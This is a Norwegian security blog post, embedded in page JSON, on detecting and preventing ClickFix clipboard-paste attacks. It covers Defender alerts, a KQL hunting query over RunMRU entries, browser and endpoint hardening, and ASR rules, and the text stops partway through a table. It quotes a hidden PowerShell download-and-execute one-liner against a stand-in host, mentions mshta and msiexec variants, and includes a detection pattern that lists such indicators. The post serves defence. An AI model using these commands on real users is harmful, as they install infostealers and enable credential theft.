[{"data":1,"prerenderedAt":1665},["ShallowReactive",2],{"sc:header-data-no":3,"sc:footer-data-no":489,"post-no--posts-2026-09-21-clickfix-prevent-detect-153089af333d97":519,"authors_data":1087,"content-no-list-7b291c2dd91a4":1440,"authors_data:Fritz Zurhorst|Nadine Klein":1661},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"no":13},{"title":14,"url":15,"alt":16},"Hjem","/no","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"no":21},{"title":22,"description":23},"Workplace","Microsoft 365-drevet for smarte, sikre og fleksible arbeidsplasser som samler moderne teknologi og identitetstjenester.",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"no":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"no":34},{"title":35,"url":36},"Managed Intune","/no/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"no":40},{"title":41,"url":42},"Managed Entra","/no/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"no":46},{"title":47,"url":48},"Managed Workplace","/no/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"no":52},{"title":53,"url":54},"Consulting Services","/no/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"no":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"no":64},{"title":65,"url":66},"Microsoft Entra Suite","/no/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"no":70},{"title":71,"url":72},"Microsoft Intune","/no/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"no":76},{"title":77,"url":78},"Microsoft Windows","/no/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"no":82},{"title":83,"url":84},"Windows 365 Cloud PC","/no/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"no":88},{"title":89,"url":90},"Cloud Workplace Foundation","/no/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"no":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"no":100},{"title":101,"url":102},"Microsoft 365 Copilot","/no/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"no":106},{"title":107,"url":108},"Teams","/no/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"no":112},{"title":113,"url":114},"SharePoint & Power Platform","/no/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"no":118},{"title":119,"url":120},"Exchange Online","/no/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"no":124},{"title":125,"url":126},"Information Protection & Compliance","/no/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"no":130},{"title":131,"description":132},"Azure","Driv vekst med Azure: kutt cloud-kostnader, øk effektiviteten og skap innovasjon gjennom IaaS og PaaS.",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"no":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"no":142},{"title":143,"url":144},"Azure Managed Services","/no/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"no":148},{"title":149,"url":150},"Azure Consulting","/no/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"no":154},{"title":155},"Scenarier",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"no":160},{"title":161,"url":162},"Planlegg cloud-en din","/no/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"no":166},{"title":167,"url":168},"Migrer til cloud","/no/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"no":172},{"title":173,"url":174},"Forny virksomheten din","/no/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"no":178},{"title":179,"url":180},"Tenk nytt om VMware-strategien din","/no/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"no":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"no":190},{"title":191,"url":192},"Azure Foundation","/no/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"no":196},{"title":197,"url":198},"Azure AI Foundation","/no/azure/azure-ai-foundation",{"name":86,"languages":200},{"no":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"no":205},{"title":206,"url":207},"Azure Data Foundation","/no/azure/azure-data-foundation",{"name":188,"languages":209},{"no":210},{"title":211,"url":212},"Azure Container Foundation","/no/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"no":216},{"title":217,"url":218},"Managed Dark Tenant","/no/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"no":222},{"title":223,"url":224},"Cloud Adoption Framework","/no/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"no":228},{"title":229,"url":230},"Cloud Competence Center","/no/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"no":234},{"title":235,"description":236,"emergency":237},"Security","Årvåkenhet i cloud med en prisbelønt 24/7 managed service, incident response og moderne beskyttelse av infrastrukturen din.",{"text":238,"href":239,"skin":240,"icon":241},"Under angrep?","/no/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"no":249},{"title":250,"url":251},"Managed Red Tenant","/no/security/managed-red-tenant",{"name":214,"languages":253},{"no":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"no":259},{"title":260,"url":261},"Sentinel Data Lake","/no/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"no":265},{"title":266,"url":267},"Security Consulting","/no/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"no":274},{"title":275,"url":276},"Cloud Security Operations Center","/no/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"no":280},{"title":281,"url":282},"Global Secure Access","/no/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"no":286},{"title":287,"url":288},"MyWorkID","/no/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"no":295},{"title":296,"url":297},"Preventive Services","/no/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"no":301},{"title":302,"url":303},"Data Security Service","/no/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"no":307},{"title":308,"url":309},"Security Copilot Agents","/no/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"no":313},{"title":314,"url":315},"Innføre NIS2","/no/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"no":319},{"title":320,"description":321},"Produkter","Innovative tilleggsprodukter for et fullstendig sikkert, 100 % cloud-native Microsoft-miljø som styrker samarbeid, nettverksautentisering og programvarehåndtering.",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"no":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","Cloud-basert programvaredistribusjon",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"no":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","Sertifikatdistribusjon fra cloud",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"no":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Jobb med dine lokale office 365-data",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"no":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","Migrer dataene dine fra én server til en annen",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"no":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Terraform Provider for Microsoft 365",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"no":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","Autentisering for nettverket ditt",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"no":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Finn kontakter i Microsoft Teams",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"no":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","Windows Autopilot-overvåking i sanntid",{"name":396,"languages":397},"casestudies",{"no":398},{"title":399,"url":400,"description":401},"Case Studies","/no/casestudies","Pioner i cloud: din fremste Microsoft-partner for omfattende cloud-løsninger med en Blueprint-basert tilnærming og Infrastructure-as-Code-kompetanse.",{"name":403,"languages":404,"children":407},"company",{"no":405},{"title":406,"description":401},"Selskap",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"no":411},{"title":412},"Om oss",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"no":417},{"title":418,"url":419},"Fakta og tall","/no/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"no":423},{"title":424,"url":425},"Kontakt og lokasjoner","/no/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"no":429},{"title":430,"url":431},"glueckkanja Sveits","/no/company/switzerland",{"name":433,"languages":434},"austria",{"no":435},{"title":436,"url":437},"glueckkanja Østerrike","/no/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"no":441},{"title":442},"Karriere",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"no":447},{"title":448,"url":449},"Karriereoversikt","/no/career",{"name":451,"languages":452},"company-young-professionals",{"no":453},{"title":454,"url":455},"Young Professionals","/no/young-professionals",{"name":457,"languages":458},"company-jobs",{"no":459},{"title":460,"url":461},"Ledige stillinger","/no/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"no":465},{"title":466},"Siste nytt",[468,474],{"name":469,"languages":470},"company-blog",{"no":471},{"title":472,"url":473},"Blogg","/no/blog",{"name":469,"languages":475},{"no":476},{"title":477,"url":478},"Arrangementer","/no/events",[480],{"name":481,"languages":482},"career-meta",{"no":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"no":487},{"title":488,"url":425,"active":484},"Kontakt",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksNo":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"Personvern","/no/privacy",{"title":514,"url":515},"Juridisk informasjon","/no/imprint",{"title":517,"url":518},"Ingen cookies","/no/cookies",{"id":520,"title":521,"author":522,"body":525,"cta":494,"description":577,"eventid":494,"extension":1039,"hideInRecent":484,"layout":1040,"meta":1041,"moment":1045,"navigation":325,"path":1079,"seo":1080,"stem":1081,"tags":1082,"webcast":484,"__hash__":1086},"content_no/posts/2026-09-21-clickfix-prevent-detect.md","ClickFix. Når brukeren er exploiten, og hvordan dere stopper det",[523,524],"Fritz Zurhorst","Nadine Klein",{"type":526,"value":527,"toc":1028},"minimal",[528,533,537,540,547,555,558,564,567,587,598,604,610,613,617,619,622,625,629,631,634,648,652,654,661,741,758,761,765,767,770,785,788,791,795,797,800,803,828,832,834,837,844,848,850,853,879,882,885,888,987,990,993,996,1007,1010,1014,1016,1024],[529,530,532],"h2",{"id":531},"clickfix-angrepskjeden","ClickFix-angrepskjeden",[534,535,536],"p",{},"{: .h3-font-size}",[534,538,539],{},"ClickFix er et angrep der brukere blir sin egen angriper. Ingen exploit, ingen sårbarhet. Offeret kjører skadekoden selv, med én eneste kopier-lim-inn.",[534,541,542],{},[543,544],"img",{"alt":545,"src":546},"ClickFix-angrepskjeden i fem trinn: agnet, trikset, kopier-lim-inn, kjøring, infeksjon.","https://res.cloudinary.com/c4a8/image/upload/blog/pics/click-fix-img-01.png",[534,548,549,550,554],{},"Agnet er social engineering: en forfalsket CAPTCHA på en ondsinnet side, en falsk supportmelding («nettleseren din trenger en oppdatering»), en phishing-e-post eller en forfalsket møteside. Mens offeret er på siden, skriver JavaScript payloaden inn i utklippstavlen via ",[551,552,553],"code",{},"clipboard.writeText()",". Så ber siden brukeren trykke Win+R, Ctrl+V og Enter. Kjør-dialogen starter det som ligger i utklippstavlen.",[534,556,557],{},"Et typisk agn ser slik ut:",[534,559,560],{},[543,561],{"alt":562,"src":563},"Skjermbilde av et forfalsket CAPTCHA-agn som ber brukeren trykke Win og X, deretter lime inn og kjøre en kommando med Enter.","https://res.cloudinary.com/c4a8/image/upload/c_limit,w_1600,f_auto,q_auto/blog/pics/click-fix-img-02.png",[534,565,566],{},"Kommandoen den legger i utklippstavlen, ser slik ut:",[568,569,571],"div",{"style":570},"background: var(--color-bg-grey); border-radius: 6px; padding: 1rem; margin: 0.25rem 0",[572,573,578],"pre",{"className":574,"code":575,"language":576,"meta":577,"style":577},"language-powershell shiki shiki-themes github-light github-dark","powershell.exe -w h iex(irm 'https://malicious[.]tld/payload' -UseBasicParsing)\n","powershell","",[551,579,580],{"__ignoreMap":577},[581,582,585],"span",{"class":583,"line":584},"line",1,[581,586,575],{},[534,588,589,590,593,594,597],{},"To ting skjer samtidig. PowerShell starter i et skjult vindu (",[551,591,592],{},"-w h","), og ",[551,595,596],{},"iex(irm …)"," laster ned payloaden og kjører den direkte i minnet. Ingenting havner på disken, signaturbasert antivirus har altså ingenting å skanne. Det andre trinnet er som regel en infostealer (Lumma, Vidar, RedLine, StealC), en Remote Access Trojan eller en ransomware-loader.",[534,599,600,601,603],{},"Det samme mønsteret i Microsoft Defender-telemetrien, en skjult PowerShell startet fra Windows Terminal som kjører ",[551,602,596],{},":",[534,605,606],{},[543,607],{"alt":608,"src":609},"Microsoft Defender-inspect-record med prosesskjeden WindowsTerminal.exe til pwsh.exe til powershell.exe som kjører en iex(irm …)-kommando.","https://res.cloudinary.com/c4a8/image/upload/c_limit,w_1600,f_auto,q_auto/blog/pics/click-fix-img-03.png",[534,611,612],{},"Hvorfor dette fungerer så godt: alt kjører i brukerkonteksten, uten forhøyede rettigheter. Cookies, lagrede passord og session-tokens ligger innenfor rekkevidden til en standardbruker. Angriperen trenger ikke eskalere rettigheter for å få tak i det han kom for.",[529,614,616],{"id":615},"hva-microsoft-defender-oppdager","Hva Microsoft Defender oppdager",[534,618,536],{},[534,620,621],{},"Microsoft har de siste månedene investert mye i ClickFix-deteksjon. Er Defender hos dere frisk og riktig konfigurert, får dere native deteksjoner for ClickFix-payloads. Siden Q2 2025 publiserer MDE atferdsbaserte alerts under titler som \"Suspicious 'ClickFix' behavior detected\", \"Malicious PowerShell command executed via Run dialog\" eller \"An active 'Pacalau' malware in a command line was prevented from executing\". De utløses fra MDE-cloud-engineen via analyse av prosesskjeden, parallelt med AV-deteksjonen og ofte noen sekunder tidligere.",[534,623,624],{},"Konfigurasjonen som gjør dette mulig, står lenger ned under herdingen av kjøringen.",[529,626,628],{"id":627},"hvor-den-native-deteksjonen-kommer-til-kort","Hvor den native deteksjonen kommer til kort",[534,630,536],{},[534,632,633],{},"Cloud-baserte ML-signaturer trenger tid før de utløses. Vi ser jevnlig et gap på over ett minutt mellom PowerShell-starten og Defender-alerten. En raskere payload glipper gjennom dette vinduet.",[534,635,636,637,639,640,643,644,647],{},"Angripere tilpasser seg dessuten raskt. Bytt ut ",[551,638,576],{}," med ",[551,641,642],{},"mshta http://..."," eller ",[551,645,646],{},"msiexec /i http://...",", begge klassiske LOLBins, og de PowerShell-spesifikke deteksjonene griper ikke lenger.",[529,649,651],{"id":650},"å-lukke-hullet-et-runmru-hunt","Å lukke hullet: et RunMRU-hunt",[534,653,536],{},[534,655,656,657,660],{},"Dette hullet lukker vi med Custom Detections. Utgangspunktet er en KQL-spørring mot registernøkkelen ",[551,658,659],{},"RunMRU",", som logger hver kommando en bruker taster inn i Win+R-dialogen.",[568,662,663],{"style":570},[572,664,668],{"className":665,"code":666,"language":667,"meta":577,"style":577},"language-kusto shiki shiki-themes github-light github-dark","DeviceRegistryEvents\n| where ActionType =~ \"RegistryValueSet\"\n| where InitiatingProcessFileName =~ \"explorer.exe\"\n| where RegistryKey has @\"\\CurrentVersion\\Explorer\\RunMRU\"\n| where RegistryValueData has \" ✅ \"\n    or (RegistryValueData has_any (\"powershell\", \"mshta\", \"curl\", \"msiexec\", \"^\")\n        and RegistryValueData matches regex \"[\\\\u0400-\\\\u04FF\\\\u0370-\\\\u03FF\\\\u0590-\\\\u05FF\\\\u0600-\\\\u06FF\\\\u0E00-\\\\u0E7F\\\\u2C80-\\\\u2CFF\\\\u13A0-\\\\u13FF\\\\u0530-\\\\u058F\\\\u10A0-\\\\u10FF\\\\u0900-\\\\u097F]\")\n    or (RegistryValueData has \"mshta\" and RegistryValueName !~ \"MRUList\" and RegistryValueData !in~ (\"mshta.exe\\\\1\", \"mshta\\\\1\"))\n    or (RegistryValueData has_any (\"bitsadmin\", \"forfiles\", \"ProxyCommand=\") and RegistryValueName !~ \"MRUList\")\n    or ((RegistryValueData startswith \"cmd\" or RegistryValueData startswith \"powershell\")\n        and (RegistryValueData has_any (\"-W Hidden \", \" -eC \", \"curl\", \"E:jscript\", \"ssh\", \"Invoke-Expression\", \"UtcNow\", \"Floor\", \"DownloadString\", \"DownloadFile\", \"FromBase64String\", \"System.IO.Compression\", \"System.IO.MemoryStream\", \"iex\", \"Invoke-WebRequest\", \"iwr\", \"Get-ADDomainController\", \"InstallProduct\", \"-w h\", \"-X POST\", \"Invoke-RestMethod\", \"-NoP -W\", \".InVOKe\", \"-useb\", \"irm \", \"^\", \"[char]\", \"[scriptblock]\", \"-UserAgent\", \"UseBasicParsing\", \".Content\")\n            or RegistryValueData matches regex @\"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\\s[A-Za-z0-9+/=]{15,}\"))\n","kusto",[551,669,670,675,681,687,693,699,705,711,717,723,729,735],{"__ignoreMap":577},[581,671,672],{"class":583,"line":584},[581,673,674],{},"DeviceRegistryEvents\n",[581,676,678],{"class":583,"line":677},2,[581,679,680],{},"| where ActionType =~ \"RegistryValueSet\"\n",[581,682,684],{"class":583,"line":683},3,[581,685,686],{},"| where InitiatingProcessFileName =~ \"explorer.exe\"\n",[581,688,690],{"class":583,"line":689},4,[581,691,692],{},"| where RegistryKey has @\"\\CurrentVersion\\Explorer\\RunMRU\"\n",[581,694,696],{"class":583,"line":695},5,[581,697,698],{},"| where RegistryValueData has \" ✅ \"\n",[581,700,702],{"class":583,"line":701},6,[581,703,704],{},"    or (RegistryValueData has_any (\"powershell\", \"mshta\", \"curl\", \"msiexec\", \"^\")\n",[581,706,708],{"class":583,"line":707},7,[581,709,710],{},"        and RegistryValueData matches regex \"[\\\\u0400-\\\\u04FF\\\\u0370-\\\\u03FF\\\\u0590-\\\\u05FF\\\\u0600-\\\\u06FF\\\\u0E00-\\\\u0E7F\\\\u2C80-\\\\u2CFF\\\\u13A0-\\\\u13FF\\\\u0530-\\\\u058F\\\\u10A0-\\\\u10FF\\\\u0900-\\\\u097F]\")\n",[581,712,714],{"class":583,"line":713},8,[581,715,716],{},"    or (RegistryValueData has \"mshta\" and RegistryValueName !~ \"MRUList\" and RegistryValueData !in~ (\"mshta.exe\\\\1\", \"mshta\\\\1\"))\n",[581,718,720],{"class":583,"line":719},9,[581,721,722],{},"    or (RegistryValueData has_any (\"bitsadmin\", \"forfiles\", \"ProxyCommand=\") and RegistryValueName !~ \"MRUList\")\n",[581,724,726],{"class":583,"line":725},10,[581,727,728],{},"    or ((RegistryValueData startswith \"cmd\" or RegistryValueData startswith \"powershell\")\n",[581,730,732],{"class":583,"line":731},11,[581,733,734],{},"        and (RegistryValueData has_any (\"-W Hidden \", \" -eC \", \"curl\", \"E:jscript\", \"ssh\", \"Invoke-Expression\", \"UtcNow\", \"Floor\", \"DownloadString\", \"DownloadFile\", \"FromBase64String\", \"System.IO.Compression\", \"System.IO.MemoryStream\", \"iex\", \"Invoke-WebRequest\", \"iwr\", \"Get-ADDomainController\", \"InstallProduct\", \"-w h\", \"-X POST\", \"Invoke-RestMethod\", \"-NoP -W\", \".InVOKe\", \"-useb\", \"irm \", \"^\", \"[char]\", \"[scriptblock]\", \"-UserAgent\", \"UseBasicParsing\", \".Content\")\n",[581,736,738],{"class":583,"line":737},12,[581,739,740],{},"            or RegistryValueData matches regex @\"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\\s[A-Za-z0-9+/=]{15,}\"))\n",[534,742,743,744,747,748,747,751,747,754,757],{},"Spørringen markerer hver Win+R-oppføring som ser ut som en ClickFix-kommando: PowerShell, mshta, curl eller msiexec sammen med typiske indikatorer som ",[551,745,746],{},"-w hidden",", ",[551,749,750],{},"iex",[551,752,753],{},"irm",[551,755,756],{},"DownloadString"," eller Base64-kodede payloads. Den fanger også de subtile triksene. Den grønne hake-emojien som mange forfalskede CAPTCHA-agn setter foran kommandoen. Unicode-tegn fra kyrilliske, arabiske eller thailandske områder, som angripere bruker til å kamuflere tekst og omgå enkle strengfiltre. Dukker ett av disse mønstrene opp i en Win+R-oppføring, pågår det svært sannsynlig et ClickFix-angrep akkurat nå.",[534,759,760],{},"For CSOC-kundene våre drifter vi disse og flere Custom Detections for å lukke gapet mellom nye angrepsteknikker og den innebygde deteksjonen.",[529,762,764],{"id":763},"beskyttelseslag-1-blokkere-leveransen","Beskyttelseslag 1: blokkere leveransen",[534,766,536],{},[534,768,769],{},"Nå til preventionen. ClickFix er utbredt og vellykket, en enkelt beskyttelse holder altså ikke. Vi jobber i lag, fra leveransen til kjøringen.",[534,771,772,773,776,777,780,781,784],{},"Network Protection blokkerer kjente delivery-domener og C2-servere for alle nettlesere. MDE Web Content Filtering supplerer med kategorier som \"Newly registered domains\", \"Hacking\" og \"Illegal Software\". Network Protection er innebygd i Windows, men for tredjeparts nettlesere må dere deaktivere QUIC og ECH, fordi begge krypterer hele forbindelsen og skjuler måldomenet. Deaktiver QUIC i Chrome og Firefox via enterprise-policy (",[551,774,775],{},"QuicAllowed = Disabled"," i Chrome, ",[551,778,779],{},"network.http.http3.enable = false"," i Firefox); for ECH setter dere ",[551,782,783],{},"EncryptedClientHelloEnabled = Disabled"," i Chrome.",[534,786,787],{},"For Edge aktiverer dere SmartScreen. For tredjeparts nettlesere slår dere på deres innebygde Safe Browsing. Det er ikke det samme som Network Protection, men hjelper med å filtrere skadelige sider. For e-postvektoren sjekker Safe Links og Safe Attachments lenker og vedlegg før brukere interagerer med dem.",[534,789,790],{},"Haken: alt dette virker bare mot kjent infrastruktur. Aktuelle ClickFix-kampanjer går via nyregistrert infrastruktur som identifiseres og blokkeres for sent, og noen ganger via legitime sider som en angriper har kompromittert. Så la oss se på hva som beskytter etter at agnet er levert.",[529,792,794],{"id":793},"beskyttelseslag-2-blokkere-trikset","Beskyttelseslag 2: blokkere trikset",[534,796,536],{},[534,798,799],{},"Noen Edge-funksjoner hever terskelen mens brukeren er på en ondsinnet side. Styring av nettleserutvidelser hindrer at brukere installerer ondsinnede eller kompromitterte utvidelser som smugler inn ClickFix-overlays eller selv manipulerer utklippstavlen. Edge Enhanced Security Mode legger strengere beskyttelsestiltak på ukjente og sjelden besøkte sider (JIT deaktivert, Control Flow Guard, maskinvarestøttet stackbeskyttelse), noe som gjør exploitbaserte nettleserovertakelser betydelig vanskeligere. Typo Protection advarer mot typosquattede domener (micros0ft.com, paypa1.com) og blokkerer en utbredt ClickFix-leveransevektor via forfalskede merkevaredomener.",[534,801,802],{},"Tekniske kontroller er bare halve jobben. Brukeropplæring er fortsatt avgjørende. Den ene regelen som bærer det meste: Ber en nettside deg lime noe inn i datamaskinen din, er det et angrep. Gjør det konkret i awareness-treningen:",[804,805,807,808,807,816,807,822],"ul",{"style":806},"margin: 0.25rem 0","\n  ",[809,810,811,815],"li",{},[812,813,814],"strong",{},"Vis ekte agn:"," forfalskede \"Verify you are human\"-avkrysningsbokser, \"nettleseren din trenger en oppdatering\", \"dokumentet kunne ikke rendres, kjør denne fiksen\", ødelagte Teams- eller Zoom-lydprompter.",[809,817,818,821],{},[812,819,820],{},"Demonstrer utklippstavle-trikset:"," vis hvordan siden stille overskriver utklippstavlen.",[809,823,824,827],{},[812,825,826],{},"Gjør det enkelt å melde fra:"," raskt og uten skyldfordeling.",[529,829,831],{"id":830},"beskyttelseslag-3-blokkere-handlingen","Beskyttelseslag 3: blokkere handlingen",[534,833,536],{},[534,835,836],{},"Her finnes noen muligheter for å herde systemet, ingen av dem er en garanti. Begynn med å deaktivere Kjør-dialogen, det fjerner Win+R-inngangspunktet. Microsofts ClickFix-guidance anbefaler å deaktivere den \"where it isn't necessary\". Det lukker det spesifikke Win+R-lim-inn-angrepet, men alternative startflater blir igjen, for eksempel Explorer-adresselinjen og Windows Terminal.",[534,838,839,840,843],{},"Dere kan i tillegg herde Edge med ",[551,841,842],{},"DefaultClipboardSetting",", det hindrer at JavaScript stille skriver til utklippstavlen.",[529,845,847],{"id":846},"beskyttelseslag-4-blokkere-kjøringen","Beskyttelseslag 4: blokkere kjøringen",[534,849,536],{},[534,851,852],{},"Få grunnlaget på plass før de avanserte funksjonene. For ClickFix betyr det:",[804,854,807,855,807,861,807,867,807,873],{"style":806},[809,856,857,860],{},[812,858,859],{},"Local Admin Reduction:"," fjern lokale administratorrettigheter fra sluttbrukere der det er mulig, for å begrense effekten av en kodekjøring.",[809,862,863,866],{},[812,864,865],{},"Endpoint Privilege Management (EPM):"," la brukere jobbe som standardbrukere og eleverer kun godkjente apper via policy-regler.",[809,868,869,872],{},[812,870,871],{},"UAC-herding:"," gå gjennom secure desktop-enforcement, prompt-atferd for admins og standardbrukere samt installer-deteksjon.",[809,874,875,878],{},[812,876,877],{},"Credential Guard:"," isoler NTLM-hasher, Kerberos-billetter og annet credential-materiale med virtualiseringsbasert sikkerhet, slik at credential-tyveri forblir vanskelig selv om en angriper får adminrettigheter.",[534,880,881],{},"Disse kontrollene reduserer eskaleringsmulighetene, beskytter credentials og håndhever Least Privilege. Grensen her: de begrenser hva som skjer etter en kompromittering. De hindrer ikke en infostealer i standardbrukerkonteksten i å lese ut cookies, session-tokens og app-credential-stores som er lesbare for brukeren.",[534,883,884],{},"Så Microsoft Defender. Defender AV kan oppdage payloaden i det andre trinnet, men bare med riktige innstillinger: slå på Cloud Protection og sett beskyttelsesnivået til High eller High+. AMSI, Antimalware Scan Interface, lar applikasjoner overlevere innhold til Defender for kontroll under kjøring, etter at det er dekryptert eller deobfuskert i minnet, men før det kjøres. PowerShell bruker AMSI til å identifisere skadekode, og AMSI trenger sanntidsbeskyttelse og Behavior Monitoring.",[534,886,887],{},"Minst fem Attack Surface Reduction-regler er relevante mot ClickFix:",[568,889,891],{"style":890},"margin: 0.5rem 0 2rem; overflow-x: auto",[892,893,807,895,807,914],"table",{"style":894},"width:100%; border-collapse: collapse; font-size: 0.85rem",[896,897,898,899,807],"thead",{},"\n    ",[900,901,902,903,902,908,902,911,898],"tr",{},"\n      ",[904,905,907],"th",{"style":906},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #dde1e4; text-align: left; font-weight: 600","Regel",[904,909,910],{"style":906},"GUID",[904,912,913],{"style":906},"ClickFix-relevans",[915,916,898,917,898,933,898,948,898,961,898,974,807],"tbody",{},[900,918,902,919,902,924,902,930,898],{},[920,921,923],"td",{"style":922},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa","Blokker kjøring av potensielt tilslørte skript",[920,925,927],{"style":926},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa; white-space: nowrap",[551,928,929],{},"5beb7efe-fd9a-4556-801d-275e5ffc04cc",[920,931,932],{"style":922},"Tilslørte eller kodede skript i kjørings- og evasion-fasen",[900,934,902,935,902,939,902,945,898],{},[920,936,938],{"style":937},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff","Hindre JavaScript eller VBScript i å starte nedlastet kjørbart innhold",[920,940,942],{"style":941},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff; white-space: nowrap",[551,943,944],{},"d3e037e1-3eb8-44c8-a917-57927947596d",[920,946,947],{"style":937},"WSH, .js eller .vbs som starter nedlastede payloads",[900,949,902,950,902,953,902,958,898],{},[920,951,952],{"style":922},"Tillat kjørbare filer kun ved prevalens-, alders- eller trusted list-kriterium",[920,954,955],{"style":926},[551,956,957],{},"01443614-cd74-433a-b99e-2ecdc07bfc25",[920,959,960],{"style":922},"Ferske eller sjeldne droppede kjørbare filer",[900,962,902,963,902,966,902,971,898],{},[920,964,965],{"style":937},"Blokker kjørbart innhold fra e-postklient og 